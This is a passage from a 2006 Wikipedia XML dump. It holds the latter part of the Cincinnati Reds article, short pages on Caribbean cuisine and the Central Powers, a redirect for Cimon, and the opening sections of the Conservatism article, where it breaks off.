Following the expulsion, Cincinnati became a founding member of the [[American Association (19th century)|American Association]], a rival league that began play in [[1882]], and retained the nickname Red Stockings. By some accounts, the AA team switched leagues in [[1890]]; by other accounts, the AA team folded the same year the new NL team started, and the new team simply signed many of the AA team's star players. The Red Stockings wandered through the remainder of the [[1890s]] signing local stars &amp; aging veterans.

At the turn of the century, the Reds (shortened from the Red Stockings so not to be confused with the Boston AL entry, now shortened to Red Sox) had hitting stars like [[Sam Crawford]] and [[Cy Seymour]]. Seymour's .377 average in 1905 was the first individual batting crown won by a Red. In [[1911]], [[Bob Bescher]] stole 81 bases which is still a team record.

===Redland Field to the Great Depression===
In [[1912]] [[Redland Field]], built on the corner of Findlay and Western on the city's west side opened for the Reds. By the late [[1910s]] the Reds began to come out of the second division. The [[1918]] team finished 4th, and then new manager [[Pat Moran]] led the Reds to a NL [[pennant]] in [[1919]]. The 1919 team had hitting stars led by [[Edd Roush]] and [[Heinie Groh]] while the pitching staff was led by [[Hod Eller]] and [[Harry Sallee|Harry &quot;Slim&quot; Sallee]], a lefthander. The Reds finished ahead of [[John McGraw (baseball)|John McGraw]]'s [[San Francisco Giants|New York Giants]], and then won the [[world championship]] in 8 games over the [[Chicago White Sox]].

By [[1920]], the [[Black Sox Scandal|&quot;Black Sox&quot; scandal]] put an asterisk by the Reds first championship. In the remainder of the [[1920s]] and early [[1930s]] the Reds were second division dwellers for most of those years. [[Eppa Rixey]], [[Dolf Luque]] and [[Pete Donohue]] were pitching stars; the offense never quite lived up to the pitching. By [[1931]] the team was bankrupt, thanks to the [[Great Depression]], and Redland Field was in a state of disrepair.

===Revival of 1930s===
[[Powel Crosley Jr.]], an [[electronics]] [[business magnate|magnate]] who with his brother [[Lewis M. Crosley]] produced [[radio]]s, [[refrigerator]]s and other [[household]] items, bought the Reds out of bankruptcy in [[1933]] and hired [[Larry MacPhail]] to be the General Manager. Powell Crosley Jr. had also started [[WLW]] radio and the [[Crosley Broadcasting Company]] in Cincinnati and was doing quite well as a civic leader. (WLW has been the Reds' radio flagship for decades.) MacPhail began to develop the Reds' [[minor league baseball|minor league system]] and expanded the Reds' base. The Reds throughout the [[1930s]] became a team of &quot;firsts&quot;. [[Crosley Field]] (formerly Redland Field) became the host of the first night game in [[1935]]. [[Johnny Vander Meer]] became the only pitcher in major league history to throw back-to-back no-hitters in [[1938]]. Thanks to Vander Meer, [[Paul Derringer]], and [[shortstop]]-turned-[[pitcher]] [[Bucky Walters]], the Reds had a solid pitching staff. The offense came around in the late 1930s. [[Ernie Lombardi]] was named the National League's Most Valuable Player in 1938, [[First baseman]] [[Frank McCormick]] was the 1940 NL MVP. Other position players included [[Harry Craft]], [[Lonny Frey]], [[Ival Goodman]] and [[Lew Riggs]]. By 1938 the Reds, now led by manager [[Bill McKechnie]], were out of the second division finishing fourth. By [[1939]] they were National League champions. The Reds were swept by the [[New York Yankees]] in four straight. In 1940, they repeated as NL Champions and for the first time in 21 years, the Reds captured a World Series beating the [[Detroit Tigers]] 4 games to 3.

===From WWII through the 1960s===
[[World War II]] and age finally caught up with the Reds. Throughout the remainder of the [[1940s]] and the early [[1950s]], Cincinnati finished mostly in the second division. In 1944, [[Joe Nuxhall]], age 15, pitching for the Reds on loan from Hamilton High School, became the youngest person ever to play in a major league game -- a record that still stands today.  Ewell &quot;The Whip&quot; Blackwell was the main pitching stalwart before arm problems cut short his career. [[Ted Kluszewski]] was the NL home run leader in 1954. The rest of the offense was a collection of over-the-hill players and not-ready-for-prime time youngsters.

In [[1956]], led by NL [[Rookie of the Year]] [[Frank Robinson]], the Reds hit 221 HR to tie the NL record. By 1961, Robinson was joined by [[Vada Pinson]], [[Wally Post]], [[Gordy Coleman]] and [[Gene Freese]]. Pitchers [[Joey Jay]], [[Jim O'Toole]] and [[Bob Purkey]] led the staff. The Reds captured the [[1961]] NL pennant, holding off the [[Los Angeles Dodgers]] and the [[San Francisco Giants]], only to be defeated by the perennially powerful [[New York Yankees]] in the [[1961 World Series|World Series]].  The Reds had many successful teams during the rest of the [[1960s]], but didn't produce any championships. They won 98 games in 1962 (paced by Purkey's 23), but finished 3rd. In 1964, they lost the pennant by one game. The farm system produced players such as [[Jim Maloney]] (the Reds pitching ace of the 1960s), [[Pete Rose]], [[Tony Pérez]], [[Johnny Bench]] and [[Gary Nolan (baseball player)|Gary Nolan]], and the team finally reached its potential during the [[1970s]]. The Reds' final game at Crosley Field, home to over 4500 baseball games, was played on [[June 24]] [[1970]]. In its place, a new stadium, and a new Reds dynasty.

===The Big Red Machine===
In [[1970 in baseball|1970]], little known [[Sparky Anderson|George &quot;Sparky&quot; Anderson]] was hired as manager, and the Reds embarked upon a decade of excellence, with a team that came to be known as &quot;[[The Big Red Machine]]&quot;. Playing in brand-new [[Riverfront Stadium]], a 52,000 seat multi-purpose venue on the shores of the [[Ohio River]], the Reds began the [[1970s]] with a bang by winning 70 of their first 100 games. [[Johnny Bench]], [[Tony Pérez]], [[Pete Rose]], [[Lee May]] and [[Bobby Tolan]] were the early Red Machine offensive leaders;  [[Gary Nolan (baseball player)|Gary Nolan]], [[Jim Merritt]] and [[Jim McGlothlin]] led a pitching staff which also contained veteran [[Tony Cloninger]] and youngsters [[Wayne Simpson]] and [[Don Gullett]]. The Reds breezed through the 1970 season, won the NL West and captured the NL pennant. By time the club got to the [[1970 World Series|World Series]], however, the Reds pitching staff had run out of gas and the veteran [[Baltimore Orioles]] beat the Reds in five games.

After the disastrous [[1971 in baseball|1971]] season (the only season of the '70s during which the Reds finished with a losing record) the Reds reloaded by trading veterans May and [[Tommy Helms]] for [[Joe Morgan]], [[César Gerónimo]], [[Jack Billingham]] and [[Denis Menke]]. Meanwhile, [[Dave Concepción]] blossomed at [[shortstop]]. 

The [[1972 in baseball|1972]] Reds won the NL West and defeated the [[Pittsburgh Pirates]] in an exciting five-game playoff series, then faced the [[Oakland Athletics]] in the [[1972 World Series|World Series]]. Six of the seven games were won by one run, but Oakland won in Game 7. The Reds won a third NL West crown in [[1973 in baseball|1973]] but lost the NL pennant to the [[New York Mets]]. The Reds won 98 games in [[1974 in baseball|1974]] but finished in second place.

In the [[1975|1975]] season, Cincinnati clinched the NL West with 108 victories. Then swept the [[Pittsburgh Pirates]] in three games to win the NL pennant. In the [[1975 World Series|World Series]], the [[Boston Red Sox]] were the opponents. After splitting the first four games, the Reds took Game 5. Game 6 is still one of the most memorable baseball games ever played. The Reds were ahead 6-3 with 5 outs left, when the Red Sox tied the game on former Red [[Bernie Carbo]]'s three-run [[home run]].  After a few close-calls either way, [[Carlton Fisk]] hit a [[home run]] off the [[foul pole]] in left field to give the Red Sox a 7-6 win and force a deciding Game 7. Cincinnati prevailed the next day, however, when Morgan's [[run batted in|RBI]] [[single (baseball)|single]] won Game 7 and gave the Reds their first championship in 35 years. 

In [[1976 in baseball|1976]], the Reds swept throughout the NL West and proceeded to go undefeated in the postseason. They swept  the [[Philadelphia Phillies]] (winning Game 3 in their final at-bat) to return to the [[1976 World Series|World Series]], then continued to dominate by sweeping the [[New York Yankees|Yankees]], who never really challenged the powerhouse Reds. In winning the Series, the Reds became the first NL team in over 50 years to win back-to-back World Series championships. 

The later years of the '70s brought turmoil and change. After two consecutive runner-up seasons, manager Anderson was fired. By [[1979 in baseball|1979]],  players Gullett, Nolan, Pérez and Rose, among others, had left the club. The Reds did manage to win the 1979 NL West behind the pitching of [[Tom Seaver]] but were dispatched in the NL playoffs by Pittsburgh. 

In [[1981 in baseball|1981]], Cincinnati had the best overall record in baseball, but after a mid-season players' [[1981 baseball strike|strike]], they finished second in the division in both of the half-seasons that were created. To commemorate this, a team photo was taken, accompanied by a banner that read &quot;Baseball's Best Record 1981.&quot; By [[1982 in baseball|1982]], the Reds were a shell of the original Red Machine; they lost 100 games that year. Johnny Bench retired a year later.

===The 1980s and onwards===
[[Image:Eric_davis.jpg|thumb|left|225px|Eric Davis in 1990]]
In [[1984 in baseball|1984]] the Reds began to move up, depending on trades and some minor leaguers. In that season [[Dave Parker (baseball player)|Dave Parker]] [[Dave Concepción]] and [[Tony Pérez]] were in Cincinnati uniforms. By the end of 1984, [[Pete Rose]] was hired to be the Reds player-manager. From [[1985 in baseball|1985]]-[[1989 in baseball|89]] the Reds finished second four times. Among the highlights, Rose became the all-time hits leader, [[Tom Browning]] threw a [[perfect game]], and [[Chris Sabo]] was the [[MLB Rookie of the Year Award|1988 National League Rookie of the Year]]. In [[1989 in baseball|1989]], Rose was banned from baseball by [[Baseball commissioner|Commissioner]] [[A. Bartlett Giamatti|Bart Giamatti]], who declared Rose guilty of &quot;conduct detrimental to baseball.&quot;  Controversy also swirled around Reds owner [[Marge Schott]], who was accused several times of [[List of ethnic slurs|ethnic and racial slurs]]. 

In [[1990 in baseball|1990]] the Reds under new manager [[Lou Piniella]] shocked baseball by leading the NL West from wire-to-wire. They started off 35-12 and maintained their lead throughout the year. Led by Chris Sabo, [[Barry Larkin]], [[Eric Davis]], [[Paul O'Neill]] and [[Billy Hatcher]] in the field, and by [[José Rijo]], Tom Browning and the &quot;Nasty Boys&quot; of [[Rob Dibble]], [[Norm Charlton]] and [[Randy Myers]] on the mound, the Reds took out the [[Pittsburgh Pirates|Pirates]] in the [[National League Championship Series|NLCS]] and swept the heavily favored [[Oakland Athletics]] in four straight. 

By [[1995 in baseball|1995]] the Reds were in the NLCS again, but lost to the [[Atlanta Braves]]. In [[1999 in baseball|1999]] they won 96 games, but lost to the [[New York Mets]] in a one game playoff. [[Riverfront Stadium]] was demolished in [[2002 in baseball|2002]] and ended an era marked by three world championships. 

The [[Great American Ball Park]] opened in [[2003 in baseball|2003]] with high expectations for a team led by local favorites, including franchise [[outfielder]] [[Ken Griffey, Jr.]], [[shortstop]] [[Barry Larkin]], [[relief pitcher|reliever]] [[Danny Graves]] and [[first baseman]] [[Sean Casey]]. Although attendance improved considerably with the new ballpark, the team continued to lose, and in [[2003 in baseball|2003]] the father-son combo of manager [[Bob Boone]] and [[third baseman]] [[Aaron Boone]] was broken up as Bob was relieved and Aaron traded to the [[New York Yankees]]. 

The [[2004 in baseball|2004]] and [[2005 in baseball|2005]] seasons continued the trend of big hitting and poor pitching and ultimately poor records. Griffey, Jr. joined the 500-homerun club in 2004, but was again hampered by injuries. [[Adam Dunn]] emerged as formidable homerun hitter, hitting a 535-foot home run against [[Jose Lima]].  He also broke the major league record for [[strikeouts]] in 2004. Although a number of [[free agent|free-agents]] were signed before 2005, the Reds were quickly in last place and manager [[Dave Miley]] was forced out in the 2005 midseason and replaced by [[Jerry Narron]]. Like many other small market clubs, the Reds have dispatched some of their veteran players and are entrusting their future to a young nucleus that includes [[Felipe López]], [[Austin Kearns]], [[Ryan Freel]] and [[Aaron Harang]].

In 2006, a new era in Reds baseball began as Robert Castinelli took over as owner, assumming control of the team from Carl Linder.  Castinelli promptly fired general manager Dan O'Brien. Wayne Krivsky, previously an assistant General Manager with the [[Minnesota Twins]], was appointed as the General Manager of the Reds after a protracted search.

==Quick facts==
:'''Founded:''' [[1867]]/[[1869]]/[[1876]]/[[1882]]/[[1890]] (depending on the account). See below.
:'''Formerly known as:'''  The Red Stockings in  the [[19th century]]; the Redlegs
:'''Home ballpark:'''  [[Great American Ball Park]], Cincinnati
:'''Uniform colors:'''  Red and white, trim Black
:'''Logo design:''' a red wishbone &quot;C&quot; with the word &quot;REDS&quot; inside
:'''Playoff appearances''' (12): [[1919]], [[1939]], [[1940]], [[1961]], [[1970]], [[1972]], [[1973]], [[1975]], [[1976]], [[1979]], [[1990]], [[1995]]
:'''Other titles won''' (1): Had baseball's best overall record in [[1981]]
:'''American Association pennants won''' (1): [[1882]]
:'''Ownership''' Robert Castellini

==[[Baseball Hall of Fame]]rs==
{|
|valign=&quot;top&quot;|
*[[Sparky Anderson]] *
*[[Jake Beckley]]
*[[Johnny Bench]]
*[[Marty Brennaman]] **
*[[Jim Bottomley]]
*[[Mordecai Brown]]
*[[Charles Comiskey]]
*[[Sam Crawford]]
*[[Candy Cummings]]
*[[Kiki Cuyler]]
*[[Leo Durocher]]
*[[Buck Ewing]]
*[[Clark Griffith]]
|width=&quot;100&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
*[[Chick Hafey]]
*[[Jesse Haines]]
*[[Harry Heilmann]]
*[[Miller Huggins]]
*[[Joe Kelley]]
*[[George Kelly (baseball player)|George Kelly]]
*[[King Kelly]]
*[[Ernie Lombardi]]
*[[Rube Marquard]]
*[[Christy Mathewson]]
*[[Bill McKechnie]]
*[[Bid McPhee]]
|width=&quot;100&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
*[[Joe Morgan]]
*[[Tony Pérez]]
*[[Charles Radbourn]]
*[[Eppa Rixey]]
*[[Frank Robinson]]
*[[Edd Roush]]
*[[Amos Rusie]]
*[[Tom Seaver]]
*[[Al Simmons]]
*[[Joe Tinker]]
*[[Dazzy Vance]]
*[[Lloyd Waner]]
|}
'''&amp;#42;''' Manager

'''&amp;#42;&amp;#42;''' Broadcaster

==Ineligible for the [[Hall of Fame]]==
*[[Pete Rose]]

==Retired Numbers==
* 1 [[Fred Hutchinson]], manager, 1959-64
* 5 [[Johnny Bench]], C-1B-3B, 1967-83
* 8 [[Joe Morgan]], 2B, 1972-79
* 10 [[Sparky Anderson]], manager, 1970-78 
* 18 [[Ted Kluszewski]], 1B, 1947-57
* 20 [[Frank Robinson]], OF, 1956-65
* 24 [[Tony Perez]], 1B, 1964-76 &amp; 1984-86; manager, 1993

Since [[Pete Rose]] [OF-3B-1B, 1963-78 and 1984-86, manager 1984-89] has been banned from baseball, the Reds have not retired his #14.  However, they have not reissued it except for [[Pete Rose, Jr.]] in his 11 game tenure in [[1997]], and it is not likely that any Red will ever wear that jersey again. 

The number 11 of [[Barry Larkin]] (SS, 1986-2004) was not issued in 2005, and it is a near certainty that it will be retired.

==Current roster==
{{:Cincinnati Reds roster}}

==Minor league affiliations==
* '''AAA:''' [[Louisville Bats]], [[International League]]
* '''AA:''' [[Chattanooga Lookouts]], [[Southern League]]
* '''Advanced A:''' [[Sarasota Reds]], [[Florida State League]]
* '''A:''' [[Dayton Dragons]], [[Midwest League]]
* '''Rookie:''' [[Billings Mustangs]], [[Pioneer League]]
* '''Rookie:''' [[GCL Reds]], [[Gulf Coast League]]
* '''Rookie:''' [[VSL Reds]], [[Venezuelan Summer League]]

==See also==
*[[Cincinnati Reds Hall of Fame]]
*[[Cincinnati Reds/Award winners and league leaders|Reds award winners and league leaders]]
*[[Cincinnati Reds/Team records|Reds statistical records and milestone achievements]]
*[[Cincinnati Reds/Players of note|Reds players of note]]
*[[Cincinnati Reds/Broadcasters|Reds broadcasters and media]]
*[[Cincinnati Reds/Managers and ownership|Reds managers and ownership]]

==External links==
*[http://cincinnati.reds.mlb.com/NASApp/mlb/cin/homepage/cin_homepage.jsp Cincinnati Reds official web site]

{{MLB}}

[[Category:Sports in Cincinnati, Ohio]]
[[Category:Major League Baseball teams]]

[[de:Cincinnati Reds]]
[[fr:Reds de Cincinnati]]
[[ja:シンシナティ・レッズ]]
[[pt:Cincinnati Reds]]
[[sv:Cincinnati Reds]]
[[zh:辛辛那提紅人]]</text>
    </revision>
  </page>
  <page>
    <title>Caribbean cuisine</title>
    <id>6672</id>
    <revision>
      <id>40799817</id>
      <timestamp>2006-02-23T02:26:30Z</timestamp>
      <contributor>
        <username>Jorge Stolfi</username>
        <id>48742</id>
      </contributor>
      <minor />
      <comment>dab [[creole]] --&gt; [[Louisiana Creole cuisine]]</comment>
      <text xml:space="preserve">{{cuisine}}

'''Caribbean cuisine''' is a fusion of [[Spanish cuisine|Spanish]], [[French cuisine|French]], [[African cuisine|African]], [[Amerindian cuisine|Amerindian]] and [[Indian cuisine]]. These traditions were brought from the many homelands of this region's population. In addition, the population has created from this vast wealth of tradition many styles that are unique to the region.

A typical dish and one increasingly common outside of the area is &quot;jerk&quot; seasoned meats, commonly chicken.  It is a unique, spicy flavor, reminiscent of [[Louisiana Creole cuisine]], but still quite distinct from it.  [[Curry|Curried]] [[goat]] and [[chicken]] are eaten throughout the [[Anglophone Caribbean]] islands, penetrating much farther into the Caribbean than have the [[India]]ns who introduced them to the region over 150 years ago.  [[Callaloo]] is a soup-like dish widely distributed in the Caribbean, with a distinctively mixed African and indigenous character.

Perhaps unique in [[Key West, Florida]] is the conch fritter.  The meat from the conch shell, a type of [[mollusk]] is chopped and mixed with a spiced breading and deep fried. Also seen are [[alligator]] fritters, prepared similarly.

==See also==
{{cookbookpar|Caribbean cuisines}}
*[[Cuban cuisine]]
*[[Jamaican cuisine]]
*[[Cuisine of Puerto Rico]]

{{Caribbean-stub}}
{{cuisine-stub}}

[[Category:Caribbean cuisine|*]]

[[fr:Cuisine antillaise]]</text>
    </revision>
  </page>
  <page>
    <title>Central Powers</title>
    <id>6673</id>
    <revision>
      <id>41353530</id>
      <timestamp>2006-02-26T20:24:20Z</timestamp>
      <contributor>
        <username>Hmains</username>
        <id>508734</id>
      </contributor>
      <comment>clarified map</comment>
      <text xml:space="preserve">[[Image:Map 1914 WWI Alliances.jpg|thumb|400px|European military alliances in 1915. The [[Central Powers]] are depicted in red and the [[Allies of World War I|Entente Powers]] in green. Note: The borders of the Balkans are incorrect. This map shows the borders of 1911.]]

[[Image:WWI.png|thumb|400px|Map of the World with the [[Participants in World War I]]. The [[Allies of World War I|Allies]] and their colonies are depicted in green, the [[Central Powers]] and their colonies in yellow, and neutral countries in gray.]]

The '''Central Powers''' ([[German language|German]]: ''Mittelmächte'') were the nations of [[Germany]], [[Austria-Hungary]], the [[Ottoman Empire]], and [[Bulgaria]], which fought against the [[Allies of World War I|Allies]] during [[World War I]]. They are called this because they all were located between [[Russia]] in the east and [[France]] and the [[United Kingdom]] in the west. 

Germany and Austria-Hungary became allies on [[7 October]] [[1879]], being joined subsequently ([[20 May]] [[1882]]) (see [[Triple Alliance (1882)|Triple Alliance]]) by [[Italy]], which however undertook secretly in [[1902]] not to honour its alliance commitments against Germany's principal adversary France. Italy entered World War I on [[May 23]], [[1915]] &amp;mdash; in alliance with Britain. After World War I, however, the [[fascist]] regime in Italy would go back to its old agreement and, instead, ally itself with [[Nazi]] Germany. 

Following the outbreak of [[Europe|European]] war in August 1914, the [[Ottoman Empire]] intervened at the end of October against Russia, provoking declarations of war by the [[Triple Entente]] powers--Russia, France and Britain. 

Bulgaria, still resentful after its defeat in July 1913 at the hands of [[Serbia]], [[Greece]], [[Romania]] and the [[Ottoman Empire]], was the last nation to enter the war against the Entente, invading Serbia in conjunction with German and Austro-Hungarian forces in October 1915. 

Bulgaria signed an armistice with the Allies on [[29 September]] [[1918]], following a successful Allied advance in [[Macedonia (region)|Macedonia]]. The [[Ottoman Empire]] followed suit on [[30 October]] in the face of British and Arab gains in [[Palestine (region)|Palestine]] and [[Syria]]. [[Austria]] and [[Hungary]] concluded ceasefires separately during the first week of November following the disintegration of the Habsburg Empire, and Germany signed the armistice ending the war on the morning of [[11 November]] after a succession of advances by [[Belgium|Belgian]], British, French and [[United States of America|US]] forces in north-eastern France and Belgium.

== See also ==
*[[Triple Entente]]
*[[Axis Powers]] (allies of Germany in WWII)
*[[Allies]]

{{World War I}}

[[Category:Austria-Hungary]]
[[Category:World War I]]

[[ar:قوات المحور]]
[[cs:Centrální mocnosti]]
[[da:Centralmagterne]]
[[de:Mittelmächte]]
[[gl:Potencias Centrais]]
[[ko:동맹국]]
[[it:Imperi Centrali]]
[[he:מעצמות המרכז]]
[[lt:Centrinių valstybių sąjunga]]
[[nl:Centrale mogendheid]]
[[ja:中央同盟国]]
[[no:Sentralmaktene]]
[[pl:Państwa centralne]]
[[ro:Puterile Centrale]]
[[sk:Ústredné veľmoci]]
[[sv:Centralmakterna]]</text>
    </revision>
  </page>
  <page>
    <title>Cimon</title>
    <id>6674</id>
    <revision>
      <id>17781225</id>
      <timestamp>2005-06-28T19:34:06Z</timestamp>
      <contributor>
        <username>Pjamescowie</username>
        <id>7780</id>
      </contributor>
      <comment>effect redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Kimon]]</text>
    </revision>
  </page>
  <page>
    <title>Conservatism</title>
    <id>6675</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41948532</id>
      <timestamp>2006-03-02T20:48:20Z</timestamp>
      <contributor>
        <ip>72.66.79.79</ip>
      </contributor>
      <comment>/* References */</comment>
      <text xml:space="preserve">''For related and other uses, see [[Conservatism (disambiguation)]]
{{conservatism}}


'''Conservatism''' [derivative of conserve; from Latin conservare, to keep, guard, observe] in its true and classic sense is a simple philosophy that emphasizes &quot;a disposition to preserve, and an ability to improve&quot;.{{ref|Burke}}  Classical conservatism does not readily avail itself to the ideology of objectives.  It is a philosophy primarily concerned with means over ends.  To a classical conservative, the goal of change is less important than the insistence that change be affected with a respect for the rule of law and traditions of society.  The traditional enemy of conservatism, therefore, is [[radicalism]] (not, as is often asserted, [[liberalism]]).


==Development of Thought==

Despite its prevalence, conservatism does not have, nor lend itself to, a systematic treatise like [[Hobbes|Hobbes’]] ''Leviathon'' or [[John Locke|Locke’s]] ''Two Treatise of Government''.  Consequently, what is means to be a conservative today is frequently the subject of debate and muddied by association to various (and often opposing) ideologies or political parties.  The scholar, R.J. White, once put it this way:&lt;blockquote&gt;''&quot;To put conservatism in a bottle with a label is like trying to liquefy the atmosphere … The difficulty arises from the nature of the thing.  For conservatism is less a political doctrine than a habit of mind, a mode of feeling, a way of living.&quot;'' {{ref|White}}&lt;/blockquote&gt;

Although political thought, from its beginnings, contains many strains that can be retrospectively labeled conservative, it was not until the [[Age of Enlightenment|Age of Reason]], and in particular the reaction to events surrounding the [[French Revolution]] of 1789, that conservatism began to rise as a distinct attitude or train of thought.  Many point to the rise of a conservative disposition in the wake of the [[Reformation]] and specifically to the works of influential [[Anglican]] theologian, '''[[Richard Hooker (theologian)|Richard Hooker]]''' – emphasizing moderation in the political balancing of interests towards the goals of social harmony and common good.  But it was not until Edmund Burke’s polemic – ''Reflections on the Revolution in France'' – that conservatism gained its most influential statement of views.

[[Image:Edmund_Burke.jpg|thumb|left|160px|Edmund Burke (1729-1797)]] [[Anglo-Irish]] statesman '''[[Edmund Burke]]''', who argued so forcefully against the [[French Revolution]], also sympathised with some of the aims of the [[American Revolution]]. This classical conservative tradition often insists that conservatism has no ideology in the sense of a [[utopia|utopian]] programme, with some form of master plan. Burke developed his ideas in reaction to the 'enlightened' idea of a society guided by abstract reason. Although he did not use the term, he anticipated the critique of [[modernism]], a term first used at the end of the 19th century by the Dutch religious conservative [[Abraham Kuyper]]. Burke was troubled by the Enlightenment and argued, instead, for the value of tradition.

Some men, argued Burke, have more reason than others, and thus some men will make worse governments if they rely upon reason than others. To Burke, the proper formulation of government came not from abstractions such as &quot;Reason,&quot; but from time-honoured development of the state and of other important societal institutions such as the family and the Church.
&lt;blockquote&gt;&quot;''We are afraid to put men to live and trade each on his own private stock of reason, because we suspect that this stock in each man is small, and that the individuals would do better to avail themselves of the general bank and capital of nations and ages. Many of our men of speculation, instead of exploding general prejudices, employ their sagacity to discover the latent wisdom which prevails in them. If they find what they seek, and they seldom fail, they think it more wise to continue the prejudice, with the reason involved, than to cast away the coat of prejudice, and to leave nothing but naked reason; because prejudice, with its reason, has a motive to give action to that reason, and an affection which will give it permanence.''&quot;&lt;/blockquote&gt;

Burke argued that tradition is a much sounder foundation than &quot;reason&quot;. The conservative paradigm he established emphasises the futility of attempting to ground human society based on pure abstractions (such as &quot;reason,&quot; &quot;equality,&quot; or, more recently, &quot;diversity&quot;), and the necessity of humility in the face of the unknowable. Tradition draws on the wisdom of many generations and the tests of time, while &quot;reason&quot; may be a mask for the preferences of one man, and at best represents only the untested wisdom of one generation.  Any  existing value or institution has undergone the correcting influence of past experience and ought to be respected. 

Conservatives do not reject change, as Burke wrote &quot;a state without the means of change is without the means of its conservation,&quot; but they insist that further change be organic, rather than revolutionary. An attempt to modify the complex web of human interactions that form human society for the sake of some doctrine or theory runs the risk of running afoul of the iron law of [[unintended consequence]]s. Burke advocates vigilance against the possibility of [[moral hazard]]s. For conservatives, human society is something rooted and organic; to try to prune and shape it according to the plans of an ideologue is to invite unforeseen disaster.

At the end of the Napoleonic period, the [[Congress of Vienna]] marked the beginning of a conservative reaction in Europe, to contain the liberal and nationalist forces unleashed by the French revolution. [[Joseph de Maistre]] was the most influential spokesperson for counter-revolutionary and authoritarian conservatism, with the emphasis on monarchy as a guarantee of order in society.

==Schools of Conservatism==
===Cultural Conservatism===
[[Cultural Conservatism]] hopes to enshrine the received heritage of a successful nation or culture. The culture in question may be as large as [[Western culture]] or [[China|Chinese]] [[civilization]] or as small as that of [[Tibet]].

Cultural conservatives try to adapt norms handed down from the past. The norms may be romantic: the [[anti-metric movement]], demanding the retention of [[avoirdupois]] weights and measures in Britain, and opposing their replacement with the [[Metrication#United Kingdom|metric system]] is a classic example. They may be institutional: in the West this has included [[chivalry]] and [[feudalism]], as well as [[capitalism]], [[laicite]] and the [[rule of law]]. In the East, an example is the state examination system in China or widespread cultural tolerance in India. The norms may also be moral, according to [[social conservatism|social conservatives]].  For example, in some cultures such practices as homosexuality or abortion are thought to be wrong. And in other cultures women who expose their faces or limbs in public are considered immoral, and conservatives in those cultures often support laws to prohibit such practices.  Other conservatives take a more positive approach, supporting good samaritan laws, or laws requiring public charity, if their
culture considers these acts moral.

Cultural conservatives often argue that old institutions have adapted to a particular place or culture and therefore ought to persevere. Depending on how universalizing (or skeptical) they are, cultural conservatives may or may not accept cultures that differ from their own.  Many conservatives believe in a universal morality, but others will allow that moral codes may differ from nation to nation, and only try to support their moral code within their own culture. That is, a cultural conservative may doubt whether the broad ideals of French communities would be equally appropriate in Germany.

===Religious Conservatism===
Religious conservatives look to the receipt of special knowledge from a traditional source. Note that these values arrive external to their surrounding social order; religion opposes &quot;the world,&quot; though it may be informed by the world. So religious conservatism, rather than considering local sources of tradition, defers to the officially recognised custodians of the spiritual, theological and legalistic framework considered to be special knowledge received so long ago. These custodians can be, depending on the religion in question, relatively centralized, such as the case of the Catholic church, for example, or relatively de-centralised as in the case of Islam and other religions where there is no single supreme authority equivalent to the Pope or Dalai Lama, but rather authority is distributed among a learned class or caste, leaving it to individual believers to choose their own spiritual leader based on their inclinations, capacities and personal needs. It is worth noting that the greater the degree of this de-centralisation, the greater the lack of a common, clearly elucidated position, which can give rise to often conflicting messages to the outside observer unfamiliar with the tradition in question.

This means religious conservatism may not use the word tradition quite like other conservatives. Tradition in some religious contexts does not invoke a historically informed evolution. Church tradition by definition (in some cases) cannot evolve because it derives tradition from an unchanging divine act. This does not mean that church tradition never adapts, but that any &quot;changes&quot; enacted after [[revelation]] are refinements rather than discontinuities. St. Paul illustrates this use of tradition in [[First Corinthians]]: &quot;I have received from the Lord that which also I ''delivered'' unto you.&quot; The Latin word for ''delivered'' here is ''traditio''.

While some conservatives may be wary of government intervention into the private lives of citizens, even when that intervention is in support of traditional values, religious conservative movements in general tend to support such causes. The almost universal support by secular, Christian, Jewish, and Muslim conservatives for pro-life movements is the most prominent example.

Conservative governments influenced by religious conservatives may promote broad campaigns for a return to traditional values, such as the [[Back to Basics]] campaign of British premier [[John Major]]. In the [[European Union]], a conservative campaign sought to constitutionally specify certain conservative values in the proposed [[European Constitution]]. Most prominently, [[Pope John Paul II]] lobbied for inclusion of a reference to God, which was narrowly defeated.

Radical movements within established religious traditions illustrate the paradoxical method by which branches of religious conservatism can emerge that, rather than trying to preserve an existing, generally conservative, social order, seek to overthrow that existing order in the name of a puritanical ideal and enforce adoption of a perceived 'pristine' form of the religion usually consisting of a highly literalist, legalistic and, in some cases anti-spiritual core of traditions, values, worldview, and lifestyle.  This radical or revolutionary movement is usually a reaction against perceived abuses, corruption or heresy within the existing tradition, a clear example of this was the [[Protestant]] movement in Christianity.

For example, in [[Islam]] the [[Salafi|Salafist]] movement is often politically and socially radical, and violently repressed by governments and also distrusted by the majority of mainstream Muslims for that reason. Salafism seeks to impose, by force if necessary, its vision of a model Islamic society which existed at the time of [[Muhammad]]'s death and for a short time thereafter, rejects all the later development of Islamic societies, and can therefore be classified as a radical religious conservatism. The Salafi give great prominence to a disputed [[hadith]] (reported statement of the Prophet), which is classically conservative:&lt;blockquote&gt;''Every innovation is misguidance...''[http://www.islamicacademy.org/html/Articles/English/BID'AH%20-%20Innovation%20in%20Islam.htm]&lt;/blockquote&gt;
Similar phenomena have arisen in practically all the world's religions, and in many cases this process was triggered by the violent and generally humiliating cultural collision between the traditional society in question and the modern Western form of civilisation that has been propagated throughout the world over the past 500 years. In fact, perhaps most paradoxical of all,  it can be observed that much of what is labelled as radical religious conservatism in the modern world is in fact none other than an indigenous fusion of traditional religious ideals with modern, european revolutionary philosophy, often Marxist in nature.

==Ideological Interaction and Influence==
Many forms of conservatism incorporate elements of other [[ideology|ideologies]] and philosophies. In turn, conservatism has influence upon them. Most conservatives strongly support the [[nation-state]] (although that was not so in the 19th century), and [[patriotism|patriotically]] identify with their own nation.  Nationalist [[separatist]] movements are by definition radical but also conservative.  They appeal to tradition and often emphasise rural life and [[folkways]]. Along such lines, controversial claims of association with [[Fascism]] have been argued, particularly in Europe (see [[Fascism and ideology#Fascism and Conservatism|Fascism and ideology]]).

===Nationalism===
[[Nationalism]], which sees the nation as a long-term, centuries-old, community, has many conservative aspects. Conversely, any centuries-old community is by definition attractive to traditionalist and Burkean conservatives. Conservatives may describe their preferred values as the ''national values'', implying that they are in some way compulsory for any resident of the nation. In recent responses to terrorism, both prime minister [[Tony Blair]] and opposition leader [[Michael Howard]] have suggested that British values and the ''British way of life'' must be enforced in Britain. They refer to a kind of 'Britishness' or 'Englishness' which has a literary rather than a political origin - [[George Orwell]], for instance, defended English values and even the monarchy.

